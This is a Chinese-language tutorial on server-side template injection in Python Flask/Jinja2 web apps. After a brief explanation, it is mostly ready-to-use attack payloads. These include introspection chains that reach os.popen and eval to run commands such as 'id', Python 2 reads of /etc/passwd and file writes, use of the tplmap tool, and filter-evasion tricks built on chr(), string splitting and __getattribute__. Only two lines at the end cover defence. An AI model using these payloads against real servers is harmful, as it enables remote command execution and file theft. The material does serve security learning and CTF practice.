SSTi模板注入漏洞

1.SSTI含义
SSTI是一种注入类的漏洞,其成因也可以类比SQL注入。
SQL注入是从用户获得一个输入,然后用后端脚本语言进行数据库查询,利用输入来拼接我们想要的SQL语句。SSTI也是获取一个输入,然后在后端的渲染处理上进行语句的拼接执行。
但是和SQL注入不同的,SSTI利用的是现有的网站模板引擎,主要针对Python、PHP、JAVA的一些网站处理框架,比如Python的jinja2、mako、tornado、Django,PHP的smarty twig,java的jade velocity。当这些框架对运用渲染函数生成html的时候,在过滤不严情况下,通过构造恶意输入数据,从而达到getshell或其他目的。
一句话就是服务端在接收用户输入或用户可控参数后,未作处理或未进行严格过滤,直接嵌入模板渲染,导致执行恶意代码。
2.模板引擎含义
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎会生成一个标准的HTML文档。
模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这就大大提升了开发效率,良好的设计也使得代码重用变得更加容易。
也就是说,模板引擎会提供一套生成HTML代码的程序,然后只需要将获取到用户数据放到渲染函数里,就会生成前端HTML页面,反馈给浏览器,呈现在用户面前。
工作具体步骤:
1.利用一些方法(例如正则表达式),分解出普通字符串和模板标识符。
2.将模板标识符转换成普通的语言表达式。
3.生成待执行语句。
4.将数据填入执行,生成最终的字符串。
3.基础知识
3.1.Python
Python是面向对象的编程语言,所以同样有着类,对象和继承属性,而这种SSTI就充分利用了这些。
Python中,大部分是依靠基类->子类->危险函数的方式来利用SSTI的,接下来先说几个知识点。
__class __
万物皆对象,而class用于返回该对象所属的类,比如某个字符串,他的对象为字符串对象,而其所属的类为
SSTi模板注入漏洞
文章图片

__bases __
以元组的形式返回一个类所直接继承的所有类。
__base __
以字符串返回一个类所直接继承的类。
__mro __
返回解析方法调用的顺序。
SSTi模板注入漏洞
文章图片

可以看到__bases__返回了test()的两个父类,__base_返回了test()的第一个父类,__mro__按照子类到父类到父类解析的顺序返回所有类。
__subclasses __()
获取类的所有子类。
SSTi模板注入漏洞
文章图片

__init __
所有自带带类都包含init方法,便于利用他当跳板来调用globals。
__globals __
function.__globals __,用于获取function所处空间下可使用的module、方法以及所有变量。
SSTi模板注入漏洞
文章图片

3.2.Flask
Flask 是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2 。
Flask 提供工具,库和技术来允许构建一个 web 应用程序。这个 web 应用程序可以是一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。
Flask简单示例
flask简单易学,下面代码是flask版的hello world
from flask import Flask
app = Flask(__name __)
@app.route("/")def hello():
return “Hello World!”
if __name __ == “__main ____”:
app.run()
简单说下上面代码,第1、2行是初始化过程。3-5行是使用Flask提供的app.route修饰器,把修饰的函数注册为路由。简单讲就是当访问http://xxx.xx.xx/时,使用hello函数进行处理响应。
3.3.Jinja2
jinja2是Flask作者开发的一个模板系统,起初是仿django模板的一个模板引擎,为Flask提供模板支持,由于其灵活,快速和安全等优点被广泛使用。
在jinja2中,存在三种语:
控制结构 {% %}
变量取值 { { }}
注释 {# #}
jinja2模板中使用 { { }} 语法表示一个变量,它是一种特殊的占位符。当利用jinja2进行渲染的时候,它会把这些特殊的占位符进行填充/替换,jinja2支持python中所有的Python数据类型比如列表、字段、对象等
jinja2中的过滤器可以理解为是jinja2里面的内置函数和字符串处理函数。
被两个括号包裹的内容会输出其表达式的值。
4.利用思路
1.随便找一个内置类对象用__class__拿到他所对应的类
2.用__bases__拿到基类(
3.用__subclasses__()拿到子类列表
4.在子类列表中直接寻找可以利用的类getshell
5.接下来只要找到能够利用的类(方法、函数)就好
寻找利用类方法:

num = 0 for item in ''.__class__.__mro__[-1].__subclasses__(): try: if item.__init__.__globals__.keys(): if '__builtins__' initem.__init__.__globals__.keys(): print(num,item,'__builtins__') if'os' initem.__init__.__globals__.keys(): print(num,item,'os') if'linecache' initem.__init__.__globals__.keys(): print(num,item,'linechache') num+=1 except: num+=1

直接使用popen(python2不行)
os._wrap_close类里有popen。
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()

SSTi模板注入漏洞
文章图片

使用os下的popen
linecache类里有os。
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()

使用__import__下的os(python2不行)
__import__类里有os
"".__class__.__bases__[0].__subclasses__()[76].__init__.__globals__['__import__']('os').popen('whoami').read()

SSTi模板注入漏洞
文章图片

__builtins__下的多个函数
__builtins__类里有eval,__import__等函数,可以利用此来执行命令。
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()") "".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()") "".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read() "".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

SSTi模板注入漏洞
文章图片

SSTi模板注入漏洞
文章图片

python3
#命令执行:
原理就是找到含有__builtins__的类,然后利用。
利用这条payload:
{ { %22%22.__class__.__mro__[1].__subclasses__()[308].__init__.__globals__}}

对308进行爆破,直到找到了包含__builtins__的类,或者直接这样的
{ { %22%22.__class__.__mro__[1].__subclasses__()[308].__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()")}}

(类在内部定义了_module=sys.modules[‘warnings’],然后warnings模块包含有__builtins__)
{ % for c in [].__class__.__base__.__subclasses__() %} { % if c.__name__=='catch_warnings' %} {{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") } } { % endif %} { % endfor %}

SSTi模板注入漏洞
文章图片

#文件操作
{ % for c in [].__class__.__base__.__subclasses__() %} { % if c.__name__=='catch_warnings' %} {{ c.__init__.__globals__['__builtins__'][‘open’]('filename', 'r').read() } } { % endif %} { % endfor %}

python2
#读文件:
{ { ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

#写文件:
{ { ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}

新手最好还是用tplmap
建议从github存储库克隆该工具来安装Tplmap
git clone https://github.com/epinna/tplmap
下载完成后切换到tplmap目录下,运行
./tplmap.py -u
执行命令后,会测试目标url查找代码注入机会
SSTi模板注入漏洞
文章图片

5.关键字过滤
过滤引号:
通过python自带函数来绕过引号,这里使用的是chr()
首先fuzz一下chr()函数在哪:
payload:
{ { ().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}

SSTi模板注入漏洞
文章图片

通过payload爆破subclasses,获取某个subclasses中含有chr的类索引,可以看到爆破出来很多了,这里我随便选一个。
{ %set+chr=[].__class__.__bases__[0].__subclasses__()[77].__init__.__globals__.__builtins__.chr%}

接着尝试使用chr尝试绕过后续所有的引号:
{ %set+chr=[].__class__.__bases__[0].__subclasses__()[95].__init__.__globals__.__builtins__.chr%} { { [].__class__.__mro__[1].__subclasses__()[303].__init__.__globals__[chr(95)%2bchr(95)%2bchr(98)%2bchr(117)%2bchr(105)%2bchr(108)%2bchr(116)%2bchr(105)%2bchr(110)%2bchr(115)%2bchr(95)%2bchr(95)]}}

SSTi模板注入漏洞
文章图片

过滤中括号:
回看最初的payload,前边两个中括号都是为了从数组中取值,而后续的中括号实际是不必要的,globals[“os”]可以替换为globals.os。
SSTi模板注入漏洞
文章图片

过滤关键字:
主要看关键字怎么过滤的,如果只是替换为空,可以尝试双写绕过,如果直接ban了,就可以使用字符串合并的方式进行绕过。
使用中括号的payload:
{ { ""["__cla"+"ss__"]}}

不使用中括号的payload:
{ { "".__getattribute__("__cla"+"ss__")}}

【SSTi模板注入漏洞】getattribute来获取字典中的value,参数为key值。
6.防护措施
和其他的注入防御一样,绝对不要让用户对传入模板的内容或者模板本身进行控制。
减少或者放弃直接使用格式化字符串结合字符串拼接的模板渲染方式,使用正规的模板渲染方法。

    推荐阅读